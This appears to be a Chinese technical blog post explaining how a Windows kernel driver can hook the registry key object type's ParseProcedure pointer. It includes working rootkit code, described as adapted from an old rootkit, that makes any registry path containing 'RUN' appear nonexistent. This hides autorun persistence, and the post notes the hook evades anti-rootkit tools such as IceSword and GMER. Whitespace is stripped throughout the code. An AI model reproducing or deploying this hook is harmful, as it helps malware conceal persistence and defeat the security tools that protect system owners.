ObjectType HOOK干涉注册表操作

来看ObOpenObjectByName,它会调用ObpLookupObjectByName来打开一个对象。

  对象头(object_header)有一个object type结构,object type结构里有一个TypeInfo,结构是OBJECT_TYPE_INITIALIZER

   typedefstruct_OBJECT_TYPE_INITIALIZER{
  USHORTLength;
  BOOLEANUseDefaultObject;
  BOOLEANCaseInsensitive;
  ULONGInvalidAttributes;
  GENERIC_MAPPINGGenericMapping;
  ULONGValidAccessMask;
  BOOLEANSecurityRequired;
  BOOLEANMaintainHandleCount;
  BOOLEANMaintainTypeList;
  POOL_TYPEPoolType;
  ULONGDefaultPagedPoolCharge;
  ULONGDefaultNonPagedPoolCharge;
  PVOIDDumpProcedure;
  PVOIDOpenProcedure;
  PVOIDCloseProcedure;
  PVOIDDeleteProcedure;
  PVOIDParseProcedure;
  PVOIDSecurityProcedure;
  PVOIDQueryNameProcedure;
  PVOIDOkayToCloseProcedure;
  }OBJECT_TYPE_INITIALIZER,*POBJECT_TYPE_INITIALIZER;

  OBJECT_TYPE_INITIALIZER 结构中一个指针ParseProcedure就是用来实现这类对象的打开的

  OBJECT_TYPE_INITIALIZER 中类似的有:

DumpProcedure;OpenProcedure;CloseProcedure;DeleteProcedure;ParseProcedure;SecurityProcedure;QueryNameProcedure;OkayToCloseProcedure;

  分别对应着对象的删除、lookup、获取名字等的例程,一般对象不是所有的routine都有。

  这些都是在ObCreateObjectType(系统启动时)填充的。

  例如KeyObject的TypeInfo:

    lkd>dt_OBJECT_TYPE_INITIALIZER839b25e0+60
  +0x000Length:0x4c
  +0x002UseDefaultObject:0x1''
  +0x003CaseInsensitive:0''
  +0x004InvalidAttributes:0x30
  +0x008GenericMapping:_GENERIC_MAPPING
  +0x018ValidAccessMask:0x1f003f
  +0x01cSecurityRequired:0x1''
  +0x01dMaintainHandleCount:0''
  +0x01eMaintainTypeList:0x1''
  +0x020PoolType:1(PagedPool)
  +0x024DefaultPagedPoolCharge:0x74
  +0x028DefaultNonPagedPoolCharge:0
  +0x02cDumpProcedure:(null)
  +0x030OpenProcedure:(null)
  +0x034CloseProcedure:0x8062cedcnt!CmpCloseKeyObject+0
  +0x038DeleteProcedure:0x8062cdc2nt!CmpDeleteKeyObject+0
  +0x03cParseProcedure:0x806250c2nt!CmpParseKey+0
  +0x040SecurityProcedure:0x8062cc24nt!CmpSecurityMethod+0
  +0x044QueryNameProcedure:0x8062be7ent!CmpQueryKeyName+0
  +0x048OkayToCloseProcedure:(null)

  那么很简单了,我们只要HOOK这些函数例程就可以了。

  例如hook ParseProcedure,那么可以令得无法打开特定的Object

  这些函数例程的原始例程是比较难搜索到的,结合多段跳,可以很容易地让反rootkit工具检查不到这种HOOK。

  HOOK了之后,冰刃(蹦出“无法打开”)和GMER都无法打开目标的注册表键,当然uty的那个新的反ROOTKIT工具也是不行~(直接解析注册表的例如DarkSpy则可以)

  以下是很老的一个RK里的代码,用于进行这个处理,小改了一下:

   PVOIDOldParseKey;
  //安装HOOK
  voidInstallAdvRegHook()
  {
  UNICODE_STRINGRegPath;
  OBJECT_ATTRIBUTESoba;
  HANDLERegKeyHandle;
  NTSTATUSstatus;
  PVOIDKeyObject;
  PMYOBJECT_TYPECmpKeyObjectType;
  RtlInitUnicodeString(&RegPath,L"RegistryMachineSystem");
  InitializeObjectAttributes(&oba,
  &RegPath,
  OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
  0,
  0);
  RegKeyHandle=0;
  status=ZwOpenKey(&RegKeyHandle,KEY_QUERY_VALUE,&oba);
  if(!NT_SUCCESS(status))
  {
  KDMSG(("openthesystemkeyfailed!
"));
  return;
  }
  //首先随便打开一个注册表键,得到对象
  status=ObReferenceObjectByHandle(RegKeyHandle,
  GENERIC_READ,
  NULL,
  KernelMode,
  &KeyObject,
  0);
  if(!NT_SUCCESS(status))
  {
  KDMSG(("referencethekeyobjectfailed!
"));
  ZwClose(RegKeyHandle);
  return;
  }
  __asm
  {
  pusheax
  moveax,KeyObject
  moveax,[eax-0x10]
  movCmpKeyObjectType,eax
  popeax
  }
  KDMSG(("keyobjecttype:%08x
",CmpKeyObjectType));
  //getthekeyobjecttype
  //获得注册表键对象类型,即CmpKeyObjectType
  OldParseKey=CmpKeyObjectType->TypeInfo.ParseProcedure;
  KDMSG(("keyparseProcedureroutine:%08x
",OldParseKey));
  if(!MmIsAddressValid(OldParseKey))
  {
  ObDereferenceObject(KeyObject);
  ZwClose(RegKeyHandle);
  return;
  }
  //保存原始的ParseProcedure
  CmpKeyObjectType->TypeInfo.ParseProcedure=(ULONG)FakeParseKey;
  //进行HOOK
  ObDereferenceObject(KeyObject);
  ZwClose(RegKeyHandle);
  return;
  }
  //HOOK函数
  NTSTATUSFakeParseKey(POBJECT_DIRECTORYRootDirectory,
  POBJECT_TYPEObjectType,
  PACCESS_STATEAccessState,
  KPROCESSOR_MODEAccessCheckMode,
  ULONGAttributes,
  PUNICODE_STRINGObjectName,
  PUNICODE_STRINGRemainingName,
  PVOIDParseContext,
  PSECURITY_QUALITY_OF_SERVICESecurityQos,
  PVOID*Object)
  {
  NTSTATUSstat;
  WCHARName[300];
  RtlCopyMemory(Name,ObjectName->Buffer,ObjectName->MaximumLength);
  _wcsupr(Name);
  if(wcsstr(Name,L"RUN"))
  {
  //检查是不是要保护的注册表键
  returnSTATUS_OBJECT_NAME_NOT_FOUND;
  }
  __asm
  {
  pusheax
  pushObject
  pushSecurityQos
  pushParseContext
  pushRemainingName
  pushObjectName
  pushAttributes
  movzxeax,AccessCheckMode
  pusheax
  pushAccessState
  pushObjectType
  pushRootDirectory
  callOldParseKey
  movstat,eax
  popeax
  }
  returnstat;
  }

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值